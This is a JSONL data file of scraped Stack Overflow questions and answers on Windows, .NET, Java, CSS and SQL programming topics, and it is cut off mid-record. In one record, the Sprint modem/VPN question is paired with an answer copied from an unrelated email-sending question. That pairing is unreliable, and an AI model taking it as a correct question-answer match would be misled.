{"id": "hf_b0f19bda21d3", "question": "<p>I have an application running under Windows XP, and I'm accessing the Processor and Memory performance counters.  When I try to run the same code and access them on XP Embedded, the counters don't seem to be present.  They are present in the image - I can see them all in perfmon.  What's the missing piece here?</p>\n", "question_body": "", "answer": "Have you added all the WMI components? As far as I know, you need all the WMI components to access the counters!\nThe Performance Counter Windows Management Instrumentation (WMI) Provider component provides a bridge between the performance registry interface and the WMI interface. This component allows WMI clients to access performance counters through WMI scripts, and allows management applications built using WMI to access performance counters. Without this component, applications must directly use the registry interface or the performance data helper interface to access performance counters.\nThank you TimK for the link (\nhttp://msdn.microsoft.com/en-us/library/aa939695.aspx\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.408283"}
{"id": "hf_4b3c220d665a", "question": "<h3>Summary</h3>\n\n<p>What's the best way to ensure a table cell cannot be less than a certain minimum width. </p>\n\n<h3>Example</h3>\n\n<p>I want to ensure that all cells in a table are at least 100px wide regards of the width of the tables container. If there is more available space the table cells should fill that space.</p>\n\n<h3>Browser compatibility</h3>\n\n<p>I possible I would like to find a solution that works in</p>\n\n<ul>\n<li>IE 6-8</li>\n<li>FF 2-3</li>\n<li>Safari</li>\n</ul>\n\n<p>In order of preference.</p>\n", "question_body": "", "answer": "This CSS should suffice:\n```\n```\ntd { min-width: 100px; }\n```\n```\nHowever, it's not always obeyed correctly (the min-width attribute) by all browsers (for example, IE6 dislikes it a great deal).\nEdit:\nAs for an IE6 (and before) solution, there isn't one that works reliably under all circumstances, as far as I know.  Using the nowrap HTML attribute doesn't really achieve the desired result, as that just prevents line-breaks in the cell, rather than specifying a minimum width.\nHowever, if nowrap is used in conjunction with a regular cell width property (such as using width: 100px), the 100px will act\nlike\na minimum width and the cell will still expand with the text (due to the nowrap).  This is a less-than-ideal solution, which cannot be fully applied using CSS and, as such, would be tedious to implement if you have many tables you wish to apply this to.  (Of course, this entire alternative solution falls down if you want to have dynamic line-breaks in your cells, anyway).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.454680"}
{"id": "hf_430eeb9adcde", "question": "<p>I hope not everyone is using Rational Purify.</p>\n\n<p>So what do you do when you want to measure:</p>\n\n<ul>\n<li>time taken by a function</li>\n<li>peak memory usage </li>\n<li>code coverage</li>\n</ul>\n\n<p>At the moment, we do it manually [using log statements with timestamps and another script to parse the log and output to excel. phew...)</p>\n\n<p>What would you recommend? Pointing to tools or any techniques would be appreciated!</p>\n\n<p>EDIT: Sorry, I didn't specify the environment first, <em>Its plain C on a proprietary mobile</em> platform</p>\n", "question_body": "", "answer": "nProf\n- Free, does that for .NET.\nGets the job done, at least enough to see the 80/20. (20% of the code, taking 80% of the time)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.478556"}
{"id": "hf_0c4c14d889b4", "question": "<p>In Windows, is there an easy way to tell if a folder has a subfile that has changed?</p>\n\n<p>I verified, and the last modified date on the folder does not get updated when a subfile changes.</p>\n\n<p>Is there a registry entry I can set that will modify this behavior?</p>\n\n<p>If it matters, I am using an NTFS volume. </p>\n\n<p>I would ultimately like to have this ability from a C++ program.  </p>\n\n<p><strong>Scanning an entire directory recursively will not work for me because the folder is much too large.</strong></p>\n\n<p><strong>Update: I really need a way to do this without a process running while the change occurs.  So installing a file system watcher is not optimal for me.</strong> </p>\n\n<p><strong>Update2: The archive bit will also not work because it has the same problem as the last modification date.  The file's archive bit will be set, but the folders will not.</strong></p>\n", "question_body": "", "answer": "If you can't run a process when the change occurs, then there's not much you can do except scan the filesystem, and check the modification date/time.  This requires you to store each file's last date/time, though, and compare.\nYou can speed this up by using the\narchive bit\n(though it may mess up your backup software, so proceed carefully).\nAn archive bit is a file attribute\n  present in many computer file systems,\n  notably FAT, FAT32, and NTFS. The\n  purpose of an archive bit is to track\n  incremental changes to files for the\n  purpose of backup, also called\n  archiving.\nAs the archive bit is a binary bit, it\n  is either 1 or 0, or in this case more\n  frequently called set (1) and clear\n  (0). The operating system sets the\n  archive bit any time a file is\n  created, moved, renamed, or otherwise\n  modified in any way. The archive bit\n  therefore represents one of two\n  states: \"changed\" and \"not changed\"\n  since the last backup.\nArchive bits are not affected by\n  simply reading a file. When a file is\n  copied, the original file's archive\n  bit is unaffected, however the copy's\n  archive bit will be set at the time\n  the copy is made.\nSo the process would be:\nClear the archive bit on all the files\nLet the file system change over time\nScan all the files - any with the archive bit set have changed\nThis will eliminate the need for your program to keep state, and since you're only going over the directory entries (where the bit is stored) and they are clustered, it should be very, very fast.\nIf you can run a process during the changes, however, then you'll want to look at the\nFileSystemWatcher\nclass.  Here's an\nexample\nof how you might use it.\nIt also exists in\n.NET\n(for future searchers of this type of problem)\nPerhaps you can leave a process running on the machine watching for changes and creating a file for you to read later.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.526382"}
{"id": "hf_cbc669d64687", "question": "<p>Just got a request from my boss for an application I'm working on. Basically we're getting an email address setup for an external client to submit excel files to. </p>\n\n<p>What I need is a way to automatically pick up any email sent to this address, so I can take the attachment, process it and save it to a folder.</p>\n\n<p>Any information of even where to start would be helpful.\\</p>\n\n<p>Note: We're using a lotus notes server to do this, but a generic way would be more helpful (If possible).</p>\n", "question_body": "", "answer": "Email -> mailserver ->[something] -> file-on-disk.\nFile on disk is pretty easy to parse, use\nJavaMail\n.\nThe [something] could be:\nlistener for smtp connections (overkill)!\nPop3\n/\nimap\nclient\nMaildir\n/Mailbox", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.629138"}
{"id": "hf_6ed51f2ea38c", "question": "<p>When using an aggregate control in some reports you would prefer to see a blank field instead of 0.  There does not appear to be a way to do this automatically.  Does anyone have a way that this can be done.  Note, you want to maintain the '0' value for the field in cases when you export, but you want to show a blank when rendering to PDF or HTML.</p>\n", "question_body": "", "answer": "There are a number of ways to solve this.  The two primary are to use either visibility rules or highlights to create conditional formatting.  The visibility is particularly attractive since it is easy to only apply the format rules to particular types of output (e.g. HTML).\nFor this particular case, there are two problems with these approaches.  First, I want a general solutions where I don't have to specify the text color.  In other words, when the condition is true (value of 0) then I want my text color to match the background color.  In that way if someone changes the backgroundColor for the control, the code still works.\nThe other issue is that in this case I am using dynamic column binding which does not support value lookup.\nThe solution that I created was to add a JavaScript function called hideMe as shown below.\n```\n```\nfunction hideText (dataControl){\n    if (dataControl.getValue() == 0) {\n        var color = dataControl.getStyle().getBackgroundColor();\n        var parentItem = dataControl.getParent();\n        do {\n            if (color == null && parentItem != null) {\n                color = parentItem.getStyle().getBackgroundColor();\n                parentItem = parentItem.getParent();\n            } else {\n                break;\n            }\n\n        } while (color == null);\n        dataControl.getStyle().color = color;\n    }\n}\n```\n```\nOnce this function has been added to the report (in my case an included javascript file) I just call it from the OnCreate method of the control.\n```\n```\nhideText(this);\n```\n```\nThis can also be done using Java Event Handlers but this method seems to be easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.653076"}
{"id": "hf_ce1812122826", "question": "<p>Is the standard Java 1.6 <a href=\"http://java.sun.com/javase/6/docs/api/javax/xml/parsers/DocumentBuilder.html\" rel=\"noreferrer\">javax.xml.parsers.DocumentBuilder</a> class thread safe? Is it safe to call the parse() method from several threads in parallel?</p>\n\n<p>The JavaDoc doesn't mention the issue, but the <a href=\"http://java.sun.com/j2se/1.4.2/docs/api/javax/xml/parsers/DocumentBuilder.html\" rel=\"noreferrer\">JavaDoc for the same class</a> in Java 1.4 specifically says that it <em>isn't</em> meant to be concurrent; so can I assume that in 1.6 it is?</p>\n\n<p>The reason is that I have several million tasks running in an ExecutorService, and it seems expensive to call DocumentBuilderFactory.newDocumentBuilder() every time.</p>\n", "question_body": "", "answer": "Even though DocumentBuilder.parse appears not to mutate the builder it does on the Sun JDK default implementation (based on Apache Xerces). Eccentric design decision. What can you do? I guess use a ThreadLocal:\n```\n```\nprivate static final ThreadLocal<DocumentBuilder> builderLocal =\n    new ThreadLocal<DocumentBuilder>() {\n        @Override protected DocumentBuilder initialValue() {\n            try {\n                return\n                    DocumentBuilderFactory\n                        .newInstance(\n                            \"xx.MyDocumentBuilderFactory\",\n                            getClass().getClassLoader()\n                        ).newDocumentBuilder();\n            } catch (ParserConfigurationException exc) {\n                throw new IllegalArgumentException(exc);\n            }\n        }\n    };\n```\n```\n(Disclaimer: Not so much as attempted to compile the code.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.689530"}
{"id": "hf_73101437c362", "question": "<p>Is there a way to access file system info via some type of Windows API? If not what other methods are available to a user mode developer?</p>\n", "question_body": "", "answer": "Not very clean, but you can use\n```\nDeviceIoControl()\n```\nOpen volume as a file, pass resulting handle to\n```\nDeviceIoControl()\n```\ntogether with control code. Check MSDN for control codes, there is something like \"read journal record\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.713218"}
{"id": "hf_f9d1e2cf6444", "question": "<p>Is there a difference (performance, overhead) between these two ways of merging data sets?</p>\n<pre><code>MyTypedDataSet aDataSet = new MyTypedDataSet();\naDataSet .Merge(anotherDataSet);\naDataSet .Merge(yetAnotherDataSet);\n</code></pre>\n<p>and</p>\n<pre><code>MyTypedDataSet aDataSet = anotherDataSet;\naDataSet .Merge(yetAnotherDataSet);\n</code></pre>\n<p>Which do you recommend?</p>\n", "question_body": "", "answer": "Those two lines do different things.\nThe first one creates a new set, and then merges a second set into it.\nThe second one sets the ds reference to point to the second set, so:\n```\n```\nMyTypedDataSet ds1 = new MyTypedDataSet();\nds1.Merge(anotherDataSet);\n//ds1 is a copy of anotherDataSet\nds1.Tables.Add(\"test\")\n\n//anotherDataSet does not contain the new table\n\nMyTypedDataSet ds2 = anotherDataSet;\n//ds12 actually points to anotherDataSet\nds2.Tables.Add(\"test\");\n\n//anotherDataSet now contains the new table\n```\n```\nOk, let's assume that what you meant was:\n```\n```\nMyClass o1 = new MyClass();\no1.LoadFrom( /* some data */ );\n\n//vs\n\nMyClass o2 = new MyClass( /* some data */ );\n```\n```\nThen the latter is better, as the former creates an empty object before populating it.\nHowever unless initialising an empty class has a high cost or is repeated a large number of times the difference is not that important.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.760314"}
{"id": "hf_6cd9aca8329a", "question": "<p>I'm creating an ASP.NET web site where all pages hang off a database-driven tree-hierarchy.  Pages typically present HTML content.  But, some will execute programming.</p>\n\n<p><em>Examples:</em> <br></p>\n\n<ol>\n<li>a \"contact us\" form </li>\n<li>a report generator</li>\n</ol>\n\n<p>How should I represent/reference the programming within the database?  Should I have a varchar value of a Web User Control (.ascx) name?  Or a Web Form (.aspx) name?  Something else?  Or should it just be an integer or other such ID in a dictionary within my application?</p>\n\n<p>Can I make an ASP.NET Site Map Provider with this structure?</p>\n\n<p>See more information here: <a href=\"https://stackoverflow.com/questions/56981/which-is-the-best-database-schema-for-my-navigation\">Which is the best database schema for my navigation?</a></p>\n", "question_body": "", "answer": "Our development team has had success with defining the name of a Web User Control in the database. Upon page load it checks too see what controls to dynamically load from the database.\nWe use Web User Controls instead of Web Forms in order to ensure we can use the control on any page.\nYou can also dynamically build a site map using ASP.Net's provider.\nCodeProject\nhas a good example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.796249"}
{"id": "hf_093264f16768", "question": "<p>I was reviewing some code that a consultant checked in and notice they were using SQLCLR.  I don't have any experience with it so thought I would research what it was about.  I noticed that they used</p>\n\n<pre><code>Dim cn As New SqlConnection(\"server=LOCALHOST;integrated security=yes;database=\" &amp; sDb)\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>DIM conn As New SqlConnection(\"context connection=true\")\n</code></pre>\n\n<p>I'm wondering what the difference since it's localhost on the first?</p>\n", "question_body": "", "answer": "The context connection uses the user's already established connection to the server.  So you inherit things like their database context, connection options, etc.\nUsing localhost will connect to the server using a normal shared memory connection.  This can be useful if you don't want to use the user's connection (i.e. if you want to connect to a different database, or with different options, etc).\nIn most cases you should use the context connection, since it doesn't create a separate connection to the server.\nAlso, be warned that using a separate connection means you are not part of the user's transaction and are subject to normal locking semantics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.845327"}
{"id": "hf_4071b013284d", "question": "<p>The documentation for the <a href=\"http://docs.python.org/lib/built-in-funcs.html\" rel=\"noreferrer\">round()</a> function states that you pass it a number, and the positions past the decimal to round. Thus it <em>should</em> do this:</p>\n\n<pre><code>n = 5.59\nround(n, 1) # 5.6\n</code></pre>\n\n<p>But, in actuality, good old floating point weirdness creeps in and you get:</p>\n\n<pre><code>5.5999999999999996\n</code></pre>\n\n<p>For the purposes of UI, I need to display <code>5.6</code>. I poked around the Internet and found some <a href=\"http://mail.python.org/pipermail/python-list/2005-September/340383.html\" rel=\"noreferrer\">documentation</a> that this is dependent on my implementation of Python. Unfortunately, this occurs on both my Windows dev machine and each Linux server I've tried. <a href=\"http://www.python.org/doc/2.5.1/tut/node16.html\" rel=\"noreferrer\">See here also</a>.</p>\n\n<p>Short of creating my own round library, is there any way around this?</p>\n", "question_body": "", "answer": "What about:\n```\n```\nround(n,1)+epsilon\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.892935"}
{"id": "hf_bd0e104d1639", "question": "<p>My application has a need to let the user choose a date from a list of dates conforming to a certain pattern. For instance, they may need to choose a monday from a list Monday's for a month. Is there a way to get a <code>UIDatePicker</code> to limit date choices to a certain subset or should I just use a <code>UIPickerView</code>?</p>\n", "question_body": "", "answer": "You cannot limit which dates are selectable in a\n```\nUIDatePicker\n```\n. You could change the date when the value changed event is sent, but since the user cannot tell which dates are \"good\" and which are not, it's a bad UI choice to do so.\nUse a\n```\nUIPickerView\n```\nof your own making instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.950966"}
{"id": "hf_b19f1ba3dbc5", "question": "<p>I have heard that the Liskov Substitution  Principle (LSP) is a fundamental principle of object oriented design. What is it and what are some examples of its use?</p>\n", "question_body": "", "answer": "Would implementing ThreeDBoard in terms of an array of Board be that useful?\nPerhaps you may want to treat slices of ThreeDBoard in various planes as a Board. In that case you may want to abstract out an interface (or abstract class) for Board to allow for multiple implementations.\nIn terms of external interface, you might want to factor out a Board interface for both TwoDBoard and ThreeDBoard (although none of the above methods fit).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.985507"}
{"id": "hf_0c552720d949", "question": "<p>A simple question, but could someone provide sample code as to how would someone call a web service from within the JBoss Seam framework, and process the results?</p>\n\n<p>I need to be able to integrate with a search platform being provided by a private vendor who is exposing his functionality as a web service. So, I'm just looking for some guidance as to what the code for calling a given web service would look like. </p>\n\n<p>(Any sample web service can be chosen as an example.)</p>\n", "question_body": "", "answer": "```\n```\nimport org.restlet.Client;\nimport org.restlet.data.Protocol;\nimport org.restlet.data.Reference;\nimport org.restlet.data.Response;\nimport org.restlet.resource.DomRepresentation;\nimport org.w3c.dom.Node;\n\n/**\n * Uses YAHOO!'s RESTful web service with XML.\n */\npublic class YahooSearch {\n    private static final String BASE_URI = \"http://api.search.yahoo.com/WebSearchService/V1/webSearch\";\n\n    public static void main(final String[] args) {\n        if (1 != args.length) {\n            System.err.println(\"You need to pass a search term!\");\n        } else {\n            final String term = Reference.encode(args[0]);\n            final String uri = BASE_URI + \"?appid=restbook&query=\" + term;\n            final Response response = new Client(Protocol.HTTP).get(uri);\n            final DomRepresentation document = response.getEntityAsDom();\n\n            document.setNamespaceAware(true);\n            document.putNamespace(\"y\", \"urn:yahoo:srch\");\n\n            final String expr = \"/y:ResultSet/y:Result/y:Title/text()\";\n            for (final Node node : document.getNodes(expr)) {\n                System.out.println(node.getTextContent());\n            }\n        }\n    }\n}\n```\n```\nThis code uses\nRestlet\nto make a request to Yahoo's RESTful search service. Obviously, the details of the web service you are using will dictate what your client for it looks like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.009311"}
{"id": "hf_d8ed51c3d7ef", "question": "<p>I'm looking for a simple solution for a yes/no dialog to use in a Java ME midlet. I'd like to use it like this but other ways are okey.</p>\n\n<pre><code>if (YesNoDialog.ask(\"Are you sure?\") == true) {\n  // yes was chosen\n} else {\n  // no was chosen\n}\n</code></pre>\n", "question_body": "", "answer": "I dont have programed in Java ME, but i found in it's reference for optional packages the\nAdvanced Graphics and User Interface API\n, and it's used like the Java SE API to create these dialogs with the\nJOptionPane Class\n```\nint JOptionPane.showConfirmDialog(java.awt.Component parentComponent, java.lang.Object >message, java.lang.String title, int optionType)\n```\nReturn could be\n```\nJOptionPane.YES_OPTION\n```\n,\n```\nJOptionPane.NO_OPTION\n```\n,\n```\nJOptionPane.CANCEL_OPTION\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.150635"}
{"id": "hf_c507c11bf60a", "question": "<p>Encouraged by SO, I'm trying to write an ASP.NET site that uses OpenID for user authentication.  It's a regular WinForms site (not MVC.NET), using the <a href=\"http://code.google.com/p/dotnetopenid/\" rel=\"nofollow noreferrer\">DotNetOpenId</a> library for authentication.</p>\n\n<p>Is it safe for me to permit/deny administrative functions on the site by simply comparing the current session's \"ClaimedID\" (as returned in the OpenIdLogin_LoggedIn event, as member DotNetOpenId.RelyingParty,OpenIdEventArgs.Response.ClaimedIdentifier) to a known administrator's OpenID (i.e. mine)?</p>\n\n<p>If so, is it safe for this ID to be visible (e.g. in open source code), or should it be \"hidden\" in a configuration file or a database row?  (I know it's better design to make it configurable, my question is just about safety.)</p>\n", "question_body": "", "answer": "My solution is to follow the same idea of the Roles table. After you've authenticated the user, look up that user's roles. If the user has role \"Administrator\" in the UserRoles table, then they can do whatever the Administrator can do.\nI don't broadcast open ID's in my app. They're stored in the table. On every action result, I'm hitting the Users table, since I have also modified mine to store various user state information. With the exception of the home page, there is going to be some user information that I need from that table. I'm using LINQ, so I include the .LoadWith() to load the User with his list of roles when it serializes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.176126"}
{"id": "hf_88d558297267", "question": "<p>We all know T-SQL's string manipulation capabilities sometimes leaves much to be desired...</p>\n\n<p>I have a numeric field that needs to be output in T-SQL as a right-aligned text column. Example:</p>\n\n<pre><code>Value\n----------\n   143.55\n  3532.13\n     1.75\n</code></pre>\n\n<p>How would you go about that? A good solution ought to be clear and compact, but remember there is such a thing as \"too clever\".</p>\n\n<p>I agree this is the wrong place to do this, but sometimes we're stuck by forces outside our control.</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "The\nSTR function\nhas an optional length argument as well as a number-of-decimals one.\n```\n```\nSELECT STR(123.45, 6, 1)\n\n------\n 123.5\n\n(1 row(s) affected)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.223325"}
{"id": "hf_c5d791dfed14", "question": "<p>The code</p>\n\n<pre><code>private SomeClass&lt;Integer&gt; someClass;\nsomeClass = EasyMock.createMock(SomeClass.class);\n</code></pre>\n\n<p>gives me a warning \"Type safety: The expression of type SomeClass needs unchecked conversion to conform to SomeClass&lt;Integer&gt;\".</p>\n", "question_body": "", "answer": "The two obvious routes are to suppress the warning or mock a subclass.\n```\n```\nprivate static class SomeClass_Integer extends SomeClass<Integer>();\nprivate SomeClass<Integer> someClass;\n...\n    someClass = EasyMock.createMock(SomeClass_Integer.class);\n```\n```\n(Disclaimer: Not even attempted to compile this code, nor have I used EasyMock.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.259030"}
{"id": "hf_810e4df834da", "question": "<p>In the following snippet:</p>\n\n<pre><code>public class a {\n    public void otherMethod(){}\n    public void doStuff(String str, InnerClass b){}\n    public void method(a){\n        doStuff(\"asd\",\n            new InnerClass(){\n                public void innerMethod(){\n                    otherMethod();\n                }\n            }\n        );\n    }\n}\n</code></pre>\n\n<p>Is there a keyword to refer to the outer class from the inner class?  Basically what I want to do is <code>outer.otherMethod()</code>, or something of the like, but can't seem to find anything.</p>\n", "question_body": "", "answer": "In general you use\n```\nOuterClassName.this\n```\nto refer to the enclosing instance of the outer class.\nIn your example that would be\n```\na.this.otherMethod()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.294605"}
{"id": "hf_4c38b12f566c", "question": "<p>I'm currently looping through a datareader and calling the System.Net.Mail.SmtpClient's Send() method. The problem with this is that it's slow. Each email takes about 5-10 seconds to send (it's possible this is just an issue with my host). I had to override the executionTimeout default in my web.config file (it defaults to 90 seconds) like this:</p>\n\n<pre><code> &lt;httpRuntime executionTimeout=\"3000\" /&gt;\n</code></pre>\n\n<p>One caveat: I'm on a shared host, so I don't think it is possible for me to send using the PickupDirectoryFromIis option (at least, it gave me errors when I turned it on).</p>\n", "question_body": "", "answer": "You could send the mail asynchronous. That way the timeout should not interrupt your sending.\nThis article should help you get started with that:\nSending Emails Asynchronously in C#\n.\nThere is another approach here:\nhttp://www.vikramlakhotia.com/Sending_Email_asynchronously_in_AspNet_20.aspx\nAnd off course there are several commercial clients available, but the only one that i have tried and can recommend is\nhttp://www.aspnetemail.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.317996"}
{"id": "hf_e3508bea0fb4", "question": "<p>A Sprint cellular modem plugs into a laptop - often the PCMCIA slot. To connect, the user opens a program called the Connection Manager. This program has a menu option to display the serial number and phone number of the modem that's currently inserted.</p>\n\n<p>Does that imply that the serial/phone number of the modem could be available to other programs running on the system? (Note: let's assume this is Windows XP.)</p>\n\n<p>Specifically, could a company's VPN software be configured to pass along information about which modem is being used to connect?</p>\n\n<p>Finally, is there existing VPN software that already does this, or would it have to be custom-programmed?</p>\n", "question_body": "", "answer": "You could send the mail asynchronous. That way the timeout should not interrupt your sending.\nThis article should help you get started with that:\nSending Emails Asynchronously in C#\n.\nThere is another approach here:\nhttp://www.vikramlakhotia.com/Sending_Email_asynchronously_in_AspNet_20.aspx\nAnd off course there are several commercial clients available, but the only one that i have tried and can recommend is\nhttp://www.aspnetemail.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.342212"}
{"id": "hf_97e6ddb6115f", "question": "<p>What CSS should I use to make a cell's border appear even if the cell is empty?</p>\n\n<p>IE 7 specifically.</p>\n", "question_body": "", "answer": "If I recall, the cell dosn't exist in some IE's unless it's filled with something...\nIf you can put a\n```\n&nbsp;\n```\n(non-breaking space) to fill the void, that will usually work. Or do you require a pure CSS solution?\nApparently, IE8 shows the cells by default, and you have to hide it with\n```\nempty-cells:hide\n```\nBut it doesn't work at all in IE7 (which hides by default).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.366956"}
{"id": "hf_96bec69926a8", "question": "<p>I want to create dynamic content based on this. I know it's somewhere, as web analytics engines can get this data to determine how people got to your site (referrer, search terms used, etc.), but I don't know how to get at it myself.</p>\n", "question_body": "", "answer": "You can use the \"referer\" part of the request that the user sent to figure out what he searched for. Example from Google:\nhttp://www.google.no/search?q=stack%20overflow\nSo you must search the string (in ASP(.NET) this can be found be looking in\n```\nRequest.Referer\n```\n) for \"q=\" and then URLDecode the contents.\nAlso, you should take a look at this article that talks more about referrers and also other methods to track your visitors:\nhttp://www.15seconds.com/issue/021119.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.390539"}
{"id": "hf_7c461c3f7afd", "question": "<p>I have ASP.NET web pages for which I want to build automated tests (using WatiN &amp; MBUnit). How do I start the ASP.Net Development Server from my code? I do not want to use IIS.</p>\n", "question_body": "", "answer": "From what I know, you can fire up the dev server from the command prompt with the following path/syntax:\n```\n```\nC:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Webdev.WebServer.exe /port:[PORT NUMBER] /path: [PATH TO ROOT]\n```\n```\n...so I could imagine you could easily use Process.Start() to launch the particulars you need through some code.\nNaturally you'll want to adjust that version number to whatever is most recent/desired for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:04.515156"}
{"id": "hf_0e532ec6d991", "question": "<p>I know I can call the GetVersionEx Win32 API function to retrieve Windows version. In most cases returned value reflects the version of my Windows, but sometimes that is not so.</p>\n\n<p>If a user runs my application under the compatibility layer, then GetVersionEx won't be reporting the real version but the version enforced by the compatibility layer. For example, if I'm running Vista and execute my program in \"Windows NT 4\" compatibility mode, GetVersionEx won't return version 6.0 but 4.0.</p>\n\n<p>Is there a way to bypass this behaviour and get true Windows version?</p>\n", "question_body": "", "answer": "WMI QUery:\n```\n```\n\"Select * from Win32_OperatingSystem\"\n```\n```\nEDIT: Actually better would be:\n```\n```\n\"Select Version from Win32_OperatingSystem\"\n```\n```\nYou could implement this in Delphi like so:\n```\n```\nfunction OperatingSystemDisplayName: string;\n\n  function GetWMIObject(const objectName: string): IDispatch;\n  var\n    chEaten: Integer;\n    BindCtx: IBindCtx;\n    Moniker: IMoniker;\n  begin\n    OleCheck(CreateBindCtx(0, bindCtx));\n    OleCheck(MkParseDisplayName(BindCtx, PChar(objectName), chEaten, Moniker));\n    OleCheck(Moniker.BindToObject(BindCtx, nil, IDispatch, Result));\n  end;\n\n  function VarToString(const Value: OleVariant): string;\n  begin\n    if VarIsStr(Value) then begin\n      Result := Trim(Value);\n    end else begin\n      Result := '';\n    end;\n  end;\n\n  function 